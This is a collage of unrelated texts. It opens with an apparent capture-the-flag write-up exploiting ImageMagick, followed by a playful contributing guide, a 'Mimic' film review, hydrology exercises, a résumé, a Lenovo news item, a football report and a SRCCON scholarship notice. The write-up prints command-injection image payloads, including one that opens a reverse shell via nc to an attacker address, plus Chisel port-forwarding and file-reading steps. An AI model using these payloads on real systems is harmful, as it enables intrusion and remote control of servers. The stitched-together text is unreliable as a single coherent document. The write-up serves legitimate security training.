In this room we exploit a vulnerability in ImageMagick and gain foothold and find a service running internally , we portforward it to our local machine and get root flag.

# Nmap done at Mon Feb 22 18:34:56 2021 -- 1 IP address (1 host up) scanned in 725.28 seconds
Hence we can see there is a http server running port 8081.
So let’s add the machine ip in /etc/hosts as magician .
Hence this server converts png images to jpg format.
I tried intercepting the request , uploading reverse shell but none worked. So I tried enumerating ftp. And found something interesting (not a file)
Second Stage : Initial Foothold
Hence I visited the link and got to know about the what was happening in the background.
So ImageMagick is a package used by web servers to convert or process images . And this package had a serious vulnerability of RCE (the one hackers love) and this our clue to exploit this box.
So in the article they explained how to create a image file with command injection . For example
exploit.mvg
push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/image.jpg";|ls "-la)'
pop graphic-context
Hence we need to create a payload like this for png , as I was searching for payloads I found one (two) in PayloadAllTheThings
Hence I cloned the repo and got the payload and changed the ip value and uploaded it.
exploit.png
push graphic-context
encoding "UTF-8"
viewbox 0 0 1 1
affine 1 0 0 1 0 0
push graphic-context
image Over 0,0 1,1 '|mkfifo /tmp/gjdpez; nc <vpnip> 4444 0</tmp/gjdpez | /bin/sh >/tmp/gjdpez 2>&1; rm /tmp/gjdpez '
pop graphic-context
And I got shell back.
And we can get user.txt.
Third Stage : Magician to root
The word locally listening hinted me it has something to do with some service running internally.
So I ran the command
netstat -tulpn | grep LISTEN
So I used python server to download Chisel for portforwarding.
In my local machine
./chisel server -p 10000 –reverse
In the thm machine
./chisel <IP_ADDRESS>:10000 R:6666:<IP_ADDRESS>:6666
Next visiting http://<IP_ADDRESS>:6666 we can see
I just tried /etc/passwd
And got
Hence I tried /root/root.txt
And I know this is vigenere_chipher , So I used a website to solve this.
And got root flag


You are standing in an open field west of a white house. The house is a carefully constructed masterpiece, with solid foundations and a beautiful facade matched by an elegant interior.
Around the back of the house you see a long line of people, all of them holding little white envelopes. They seem very eager to help with the house.
There are two mailboxes here.
The first mailbox is simply labeled issues ("as if I don't have enough of my own to deal with", you think to yourself).
The second is mysteriously labeled - Pull Requests.
Both are overflowing.
You take a deep breath and open the box labeled issues.
The size of the box's interior surprises you. As you look into it, you are suddenly gripped by a feeling that the box has no bottom.
As you stare down into the seemingly bottomless pit of the box, you begin to feel a chill running down your spine. It is as if… as if the endless box of issues is staring right back into your soul.
It feels… judgy.
As you reach down into the box, you begin to realize there is a strange order to the madness. You start to notice a pattern in the issues.
Some take the form of bug reports, grey festering blobs of infinite malevolence.
Others manifest themselves as great ethereal balls of living energy in the form of ideas. Whispering half truths of promised features, improvements, and changes.
You furrow your brow as you consider whether you should concentrate on one type of issue, or both.

"So… what are you?"
They are standing under a tree, each with an arm round the other’s neck, and you know which is which in a moment, because one of them has `front’ embroidered on his collar, and the other `back’.
"I'm sure I'm very sorry, but whatever do you mean?"
"There are two sides to every Schwartz," says the first. "Front end…"
"…and back end," adds his brother.
The brothers nod with understanding, give each other a knowing look and disappear into thin air.
"And that's that," says a voice from the tree above, startling you.
You look up and see a Cat grinning from ear to ear. Sensing your alarm, the Cat's grin somehow widens even more. You notice that it has very long claws and a great many teeth.
"Would you tell me, please, which way I ought to go from here?" you ask.
"That depends a good deal on where you want to get to," says the Cat. "You are either at the end of your road, or its beginning."
Your journey is complete. Your prize awaits. You are ready to return to The Hub.
You copy the contents of the ISSUE_TEMPLATE.md file, and place it in your repository.
You peer into the mailbox. Through it you see a confused looking person standing in an open field east of a white house.
 You stumble back just in time to see the person through the mailbox stumble back and raise their left hand.
You regain your composure (feeling a bit silly, having just been startled by a looking glass), and approach the mailbox again.
"Now, if you'll only attend," says the person visible through the mailbox, "I'll tell you all about Looking-glass House. First, there's the house you can see through the glass—that's just the same as your house, only the things go the other way."
Looking through the mailbox, you notice that the line of people coming around the house are all carrying two envelopes. You watch as they pass by the issues mailbox, place one envelope there and proceed to the pull requests mailbox with the second.
"We only accept pull requests after the matter has been discussed thoroughly in an issue" explains the person through the mailbox.
The two of you stare at each other through the looking glass. Looking closer at your mirrored companion, you begin to notice the exhaustion on their face.
"Are you OK?" you ask.
Your looking glass friend sighs and lowers their gaze.
"How do you test changes to your code?" they ask.
As you look more closely at the looking glass house, you begin to wonder 'how do they keep this house so tidy?'
On the tree next to the looking glass house you see a notice posted. It is hard to make out the words from this distance, but you manage to make out the big red headline saying GИITUBIЯTИOƆ.
As you gaze at the notice on the tree, you suddenly notice a huge grin hovering among the branches of the tree.
You watch as the grin widens, exposing a mouthful of sharp teeth, startling you beyond words. You squeal in terror, and slam the mailbox shut.
Feeling cold sweat running down your neck, you slowly turn around. You look up to lowest branches of the tree on your side of the looking glass where a Cat slowly fades into view, beginning with the grin, and ending with the tail.
"How are you getting on?" says the Cat, as soon as there is mouth enough for it to speak with.
Your journey is complete. Your prize awaits. You are ready to return to The Hub.

"For thousands of years, man has been evolution's greatest creation. Until now.."
RATING: 8/10
Amidst the brainless production of the summer season, a film with half a brain will be noticed and praised as an epic. 'Mimic' happens to be a fairly intelligent science fiction, wisely released along side with the action and adventure cliches of this season.
In a brilliantly chilling title sequence, where behind the photographs of the dead children and frightening insects sounds, a child is counting to the infinite, symbolizing the dead. Slowly the story takes shape. 'Strickler's Disease, in the face of the common cockroach, came to New York like a thief in the night, threatening to steal an entire generation of our children from before our eyes. Since it has proven to be virtually immune to chemical control, a new avenue of attack had to be discovered. A team of brilliant scientists recombined ant- and mantis DNA to create a biological counter agent. They called it the 'Judas Breed'. These creatures are the most successful creations, that are fit to adapt to any situation. Their breeding rate is approximately 40 000 a year. They were designed to survive. And they were released into the streets with one single mission: eliminate the deadly carrier and die...Three years have passed. Susan and Peter are now a happy couple, praying for a baby. The epidemic is completely forgotten. Things are not so swell, however, in the dark caverns beneath the city. A mysterious killer, called "Long John" terrorizes the homeless in the subway system of New York. People are disappearing. The police are unable to find him, and yet, during the night, he can be seen, standing silently -- observing, waiting to strike. Susan's happy existence is suddenly interrupted by two homeless boys that collect insects for money. They offer her a new kind of "bug" that has never previously been seen. What she discovers is a gigantic speciment of the Judas breed. The shock comes when she realizes that it is only an infant. You see, sometimes an insect will evolve to mimic its predator. A fly can look like a spider.  The Judas breed evolved to mimic its predators -- us. These creatures can imitate us. They can infiltrate us and they migrate. There is no telling how far they will spread...May the the strongest survive...
This film is the first pleasant surprise of the season.  Faithful to Ridley Scott's classic 'Alien', Guillermo del Toro directs his film in the same fashion. This is a darker and less 'family appealing' version of 'Jurassic Park'. It tells the story about science out of control, about the cruel nature and its ways. At the same time it's very interesting to see how nature looks at the human species and in what way it tries to imitate it.
Mira Sorvino and Jeremy Northam make a fine, believable pair. And, though a bizarre choice, Sorvino is surprisingly effective as the brilliant scientist. The rest of the actors do their job honestly and professionally, though not quite memorably.
'Mimic's centerpiece is the survival game played out between humans and giant insects, and for its most part you'll certainly get the adrenaline in your body flowing. The first hour is nearly flawless. Del Toro is a true master at creating a chilling, frightening atmosphere, that works because of the combining efforts of an incredible team: brilliantly chilling cinematography by Dan Laustsen, beautifully controlled, fast paced editing by Patrick Lussier, and a magnificently sensual and yet frighteningly spooky musical score by Marco Beltrami. Del Toro knows that what is left unseen is more terrifying than what the camera reveals, no matter what it is. But even when he unravels his mystery and the shadows disappear on by one, we still are amazed because it's done so brilliantly. From the very beginning the brilliant Del Toro captures you in his world of pure artistic symbolism and dark poetry. The hand reaching into darkness had me sliding down in my seat. The script features some incredibly strange, but incredible human characters, that are anything else but stereotypes from previous horror flicks. I liked the two little kids who are bug collectors and know their way around the subway system. And there's a shoeshine man's kid who clicks spoons together in such a way that he mimics the clicking sounds of the Judas Breed. Things appear and disappear. Mysterious entities look like one thing and suddenly reveals itself as something else. Laustsen has done a great job with lighting and camera placement, creating a dark, depressive atmosphere, where the characters slowly emerge from the shadows. Every shot and scene is filled with mystery and a sense of indescribable danger lurking beneath. There are moments that are frightening and interesting through the first hour of the film, the mystery and suspense slowly builds up and is all released in the last half hour. Although I didn't find the ending very satisfying, I still think that this film has a lot to offer. Under Del Toro's incredible atmosphere, there are not ver y ``Event Horizon', "The Relic", and other films descended from 'Alien', but manages to rise above most of its predecessors. Believe me, it will provide an intelligent horror that is well worth your money and time. And since it is a summer movie, it hardly needs anything else.

6.1 Soil water content & suction
Soil moisture and suction head are measured continuously in the field (Figure 6.1) and in the forest (Figure 6.2).The sensor measuring water content at 10cm depth in the forest is not working any longer and not displayed here. If you decide to work with the raw data, do not include this sensor in your analysis. The data for the field station is available here and the data for the forest station is available here.
Task 17: Derive a soil-characteristic curve
Use the data linked above to derive soil-characteristic curves for both stations (field and forest).
6.2 Soil infiltration capacity
Double ring infiltration experiments were done on both, forest and grass soils (Figure 6.3). The data presented in Figure 6.3 is available here.
Task 18: Saturated hydraulic conductivity
Calculate the saturated hydraulic conductivity of soil under grass and forest soil.
6.3 Aquifer recharge from precipitation
The daily weather data from the station in Kappelen in given in Figure 6.4.Task 19: Calculate recharge
Calculate groundwater recharge from precipitation using the simplified water balance model:
Recharge = Precipitation - Evaportranspiration - Runoff

I have held positions specializing in IT services as a programmer and business intelligence analyst. My practical experience includes systems integration, ETL, business intelligence, data warehousing, mobile app development, fullstack web development, and team collaboration. Find me online via the links below.
While working for a Fortune 200 manufacturing client, I built a dimensional Data Warehouse for reporting and analytics. The warehouse integrated five SQL Server databases holding gigabites worth of data each that required extraction from different server locations and heavy cleansing via SQL stored procedures. The model was based on Ralph Kimball's Dimensional Modeling. I executed an architecture that follows a simple ETL pattern using four schema definitions (staging, ods, dim, fact):
NULL
values and
replacing them with the mapped defaults below based on column data types:
As part of a team of five developers, I helped build an application for a Fortune 200 manufacturing company to operate their packing processes. This system implemented new functionality to track product packing, quality control, quality acceptance, and to replace antiquated paper checklists. Business logic was strictly segragated to the database layer and communicated with various systems, all supported by a JavaScript web app. My main duties were to build out the database and business logic and communicate with various consuming PLC's and HMI's. I also built JavaScript views to support the web app. One of the most interesting features I worked on was an operator checklist system based on a matrix table that associated criteria to corresponding entities and were instantiated by event-driven triggers.
I worked on a number of web and mobile projects across industries mostly using JavaScript and MongoDB.  During the warmer months here in Nashville, I enjoy mountain biking, rock climbing, cooking out, and fly fishing.
When forced indoors, I follow a number of television shows, I am an aspiring cook, and I spend a large amount of my free time exploring the latest technology advancements in the machine learning, data science, and AI world.

Lenovo One & ZUI 11.5 (Android 10) beta now available online - Gizchina.com
by Efe UdinLenovo One & ZUI 11.5 (Android 10) beta now available online
4.5 (90%) 2 votes
This afternoon, Lenovo’s VP, Chang Cheng, has some great news for the company’s fans. He took to Weibo to announce that the ZUI 11.5 beta (on top of Android 10), as well as Lenovo One systems, are now online. The excitement with the ZUI 11.5 beta is the same as every other Android 10 update that arrives. However, Lenovo One news comes with a lot of anticipation.
From previous reports, the Lenovo One system will allow Windows and Android to merge into one. This new system supports Bluetooth fast connection, and the computer reversely controls the mobile phone and transfers files at a high speed. From November 14th to 15th, the company will hold its TechWorld 2019 Technology Innovation Conference. The company will probably officially release this system at this conference.
In the recent Lenovo Yoga conference, the company claimed that “Lenovo One” can break restrictions and achieve cross-device connectivity. It can also achieve mobile screen projection, one-button fast transmission and other functions, similar to Apple Airdrop and Huawei Share.
According to the recent official screenshots, this new system supports Bluetooth quick links, and the computer reversely controls the mobile phone to transfer files at a high speed. The screenshot shows the Lenovo Z6 Pro 5G connected to the ThinkPad X1 Carbon. As of now, the available information on this system are still sketchy. We will have to wait and see what the company does in the coming days.


When i have been stuck on soemthing for ages and i just don't know how to go about fixing it.

Ruthless Real Show Turkish Giants No Mercy
by SL InternationalUEFA Champions League
Result: Real Madrid 6-0 Galatasaray
Date: 06 November 2019
Venue: Santiago Bernabeu
Real Madrid registered an emphatic 6-0 triumph over Galatasaray in the UEFA Champions League Group A on Wednesday, with 18-year-old Rodrygo netting a hat-trick.
Luka Modric started from the bench, with Federico Valverde preferred alongside Carlos Casemiro in the middle of the park.
Real hit the front in just three minutes when Rodrygo brought down a far post-delivery to curl into the bottom corner on his Champions League home debut.
Rodrygo netted a second in the space of four minutes as he nodded home Marcelo’s pin-point cross from the left side of the area.
Los Blancos had a third on 14 minutes after a cheeky penalty conversion from Sergio Ramos after the Video Assistant Referee flagged Steven Nzonzi for fouling Toni Kroos.
Marcelo made way for Ferland Mendy after the Brazilian subsequently encountered a knock four minutes to the break.
Karim Benzema joined in on the act right before the break when he directed Rodrygo’s low cross into the centre of the area beyond Fernando Muslera.
Choose the right midfielder for SA's Real Madrid Dream Team & win a replica shirt!
Eden Hazard, who up to now endured a quiet evening, went close to snatching a fifth a minute to the break but Muslera smothered the danger following a low strike.
Control remained strongly with Los Blancos, who had their passing patterns and build-up patterns well within their reach. Modric made an entry on the 60th minute spell in place of Casemiro, as Zinedine Zidane looked to see out the match.
Real withheld the visitors close to the end, and sealed a fifth nine minutes from time after Benzema tapped home Dani Carvajal’s cross to complete his brace.
Rodrygo had the final say when he started and finished off a move involving Benzema with a simple slot past Muslera in the final minute of the match to complete his hat-trick,
Los Blancos as such put their Champions League campaign back on track after a slow start, whist the Turks aspirations end.

The application window for travel scholarships to SRCCON 2016 is now closed. Thank you so much to everyone who applied.
We’re accepting applications for a limited number of scholarships from May 5 to May 18.
Whether you’re a newsroom developer at a small organization with a strained professional development budget or a freelance developer eager to learn more about journalism code, we want to help you attend SRCCON.
Scholarships include a ticket to SRCCON and $500 for you to use toward the cost of travel to the event. We also have an extremely small number of $1,000 scholarships available for participants with much higher travel costs. (For scholarship recipients who live in the Portland area, we offer a SRCCON ticket without the additional travel funding.)
We are also offering five scholarships for Dow Jones News Fund alumni. That scholarship opportunity is also now closed.
We’ll review your application and get back to you by May 20.
You tell us how it went! We’ll send you a short followup survey and will be excited to check out any blog posts or code repos that come out of your participation at SRCCON.
We want to make sure that SRCCON is an event that includes the diversity of the communities we serve—geographically, demographically, experientially, and more. We know that travel costs can be a hardship, and offer this scholarship as a way to help mitigate that.
OpenNews staff reviews all applications. We prioritize applications from members of communities underrepresented in journalism and technology, as well as from people who would be unable to facilitate an accepted session without the scholarship.
If you receive a scholarship, you will not have to purchase a ticket. We will notify you about the status of your application before registration closes for the SRCCON lottery.
When we notify scholarship recipients, we will include information about how to receive the scholarship funds. In short, you will need to send us an invoice, and our administrators will process the payment. It may take a month or so for check processing.
We’re able to offer mostly $500 scholarships at this time. This year, we are also offering an extremely small number of $1,000 scholarships for exceptionally high travel costs. We’ve added a question to the form to capture more information about the level of need for travel costs.
Luckily, Portland is a relatively cheap city once you arrive. Also, this entire site is a GitHub pages repo, so if you, say, wanted to add a link to a room-share board, you could go right ahead and do that. Or you can email with any suggestions.
Scholarships to SRCCON are made possible by
Additional scholarship support from the Dow Jones News Fund.
